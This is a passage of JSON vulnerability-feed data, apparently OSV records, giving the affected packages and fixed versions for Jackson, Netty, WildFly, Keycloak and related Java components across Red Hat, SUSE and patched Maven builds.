Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-modules-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jackson-modules-java8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jakarta-xml-bind-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.5-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jaxb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jaxb-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jaxb-jxc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jaxb-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jaxb-xjc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jaxbintros","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.1.0-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jboss-logging","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6.3-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jboss-remoting","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.0.31-1.SP2_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jbossws-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.0-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jbossws-common-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jbossws-cxf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.0-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jbossws-jaxws-undertow-httpspi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.1-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jbossws-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.0-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-jsf-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.11-2.SP1_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-log4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.25.4-1.redhat_00003.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-neethi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.2-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-nimbus-jose-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:9.37.4-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-parsson","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.9-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-relaxng-datatype","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-rngom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-saaj-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.6-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-slf4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.18-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-slf4j-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.18-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-txw2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-undertow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.26-2.SP3_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.8-9.GA_redhat_00006.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-wildfly-elytron","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.11-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-wildfly-elytron-tool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.11-1.Final_redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-wildfly-java-jdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.8-9.GA_redhat_00006.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-wildfly-javadocs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.1-12.GA_redhat_00048.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.8-9.GA_redhat_00006.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-ws-commons-XmlSchema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.2-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-xml-security","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.6-1.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-xsom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el10eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el7","package":"rh-sso7-keycloak","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el7sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el7","package":"rh-sso7-keycloak-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el7sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el8","package":"rh-sso7-keycloak","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el8sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el8","package":"rh-sso7-keycloak-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el8sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el9","package":"rh-sso7-keycloak","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el9sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el9","package":"rh-sso7-keycloak-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el9sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Root:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.3-aikido.2"},{"fixed":"2.14.2-aikido.4"},{"fixed":"2.15.2-aikido.3"},{"fixed":"2.17.1-aikido.3"},{"fixed":"2.13.0-aikido.2"},{"fixed":"2.21.2-aikido.3"},{"fixed":"2.12.7-aikido.7"},{"fixed":"2.17.2-aikido.5"},{"fixed":"2.13.5-aikido.2"},{"fixed":"2.18.3-aikido.3"},{"fixed":"2.21.4-aikido.1"},{"fixed":"2.18.8-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.4-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.3-root.io.2"},{"fixed":"2.14.2-root.io.4"},{"fixed":"2.15.2-root.io.3"},{"fixed":"2.17.1-root.io.3"},{"fixed":"2.13.0-root.io.2"},{"fixed":"2.21.2-root.io.3"},{"fixed":"2.12.7-root.io.7"},{"fixed":"2.17.2-root.io.5"},{"fixed":"2.13.5-root.io.2"},{"fixed":"2.18.3-root.io.3"},{"fixed":"2.21.4-root.io.1"},{"fixed":"2.18.8-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.4-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.4-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.4-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.7-aikido.3"},{"fixed":"2.12.7-aikido.4"},{"fixed":"2.21.3-aikido.1"},{"fixed":"2.14.2-aikido.3"},{"fixed":"2.15.2-aikido.2"},{"fixed":"2.14.3-aikido.3"},{"fixed":"2.12.3-aikido.3"},{"fixed":"2.12.4-aikido.3"},{"fixed":"2.13.2-aikido.4"},{"fixed":"2.12.5-aikido.3"},{"fixed":"2.13.4-aikido.3"},{"fixed":"2.14.1-aikido.3"},{"fixed":"2.10.1-aikido.3"},{"fixed":"2.22.0-aikido.1"},{"fixed":"2.18.6-aikido.1"},{"fixed":"2.18.7-aikido.1"},{"fixed":"2.17.2-aikido.2"},{"fixed":"2.19.4-aikido.2"},{"fixed":"2.17.0-aikido.2"},{"fixed":"2.17.1-aikido.2"},{"fixed":"2.15.3-aikido.3"},{"fixed":"2.21.2-aikido.1"},{"fixed":"2.19.2-aikido.1"},{"fixed":"2.15.0-aikido.1"},{"fixed":"2.21.1-aikido.1"},{"fixed":"2.13.0-aikido.1"},{"fixed":"2.3.1-aikido.1"},{"fixed":"2.17.2-aikido.3"},{"fixed":"2.21.3-aikido.2"},{"fixed":"2.17.2-aikido.4"},{"fixed":"2.21.2-aikido.2"},{"fixed":"2.14.2-aikido.4"},{"fixed":"2.15.2-aikido.3"},{"fixed":"2.17.1-aikido.3"},{"fixed":"2.13.0-aikido.2"},{"fixed":"2.12.7-aikido.5"},{"fixed":"2.21.2-aikido.3"},{"fixed":"2.12.7-aikido.6"},{"fixed":"2.12.7-aikido.7"},{"fixed":"2.17.2-aikido.5"},{"fixed":"2.13.5-aikido.1"},{"fixed":"2.22.0-aikido.2"},{"fixed":"2.13.5-aikido.2"},{"fixed":"2.18.3-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-aikido.1"},{"fixed":"3.1.0-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.7-root.io.3"},{"fixed":"2.12.7-root.io.4"},{"fixed":"2.21.3-root.io.1"},{"fixed":"2.14.2-root.io.3"},{"fixed":"2.15.2-root.io.2"},{"fixed":"2.14.3-root.io.3"},{"fixed":"2.12.3-root.io.3"},{"fixed":"2.12.4-root.io.3"},{"fixed":"2.13.2-root.io.4"},{"fixed":"2.12.5-root.io.3"},{"fixed":"2.13.4-root.io.3"},{"fixed":"2.14.1-root.io.3"},{"fixed":"2.10.1-root.io.3"},{"fixed":"2.22.0-root.io.1"},{"fixed":"2.18.6-root.io.1"},{"fixed":"2.18.7-root.io.1"},{"fixed":"2.17.2-root.io.2"},{"fixed":"2.19.4-root.io.2"},{"fixed":"2.17.0-root.io.2"},{"fixed":"2.17.1-root.io.2"},{"fixed":"2.15.3-root.io.3"},{"fixed":"2.21.2-root.io.1"},{"fixed":"2.19.2-root.io.1"},{"fixed":"2.21.1-root.io.1"},{"fixed":"2.15.0-root.io.1"},{"fixed":"2.13.0-root.io.1"},{"fixed":"2.3.1-root.io.1"},{"fixed":"2.17.2-root.io.3"},{"fixed":"2.21.3-root.io.2"},{"fixed":"2.17.2-root.io.4"},{"fixed":"2.21.2-root.io.2"},{"fixed":"2.14.2-root.io.4"},{"fixed":"2.15.2-root.io.3"},{"fixed":"2.17.1-root.io.3"},{"fixed":"2.13.0-root.io.2"},{"fixed":"2.12.7-root.io.5"},{"fixed":"2.21.2-root.io.3"},{"fixed":"2.12.7-root.io.6"},{"fixed":"2.12.7-root.io.7"},{"fixed":"2.17.2-root.io.5"},{"fixed":"2.13.5-root.io.1"},{"fixed":"2.22.0-root.io.2"},{"fixed":"2.13.5-root.io.2"},{"fixed":"2.18.3-root.io.3"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-root.io.1"},{"fixed":"3.1.0-root.io.3"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP7","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 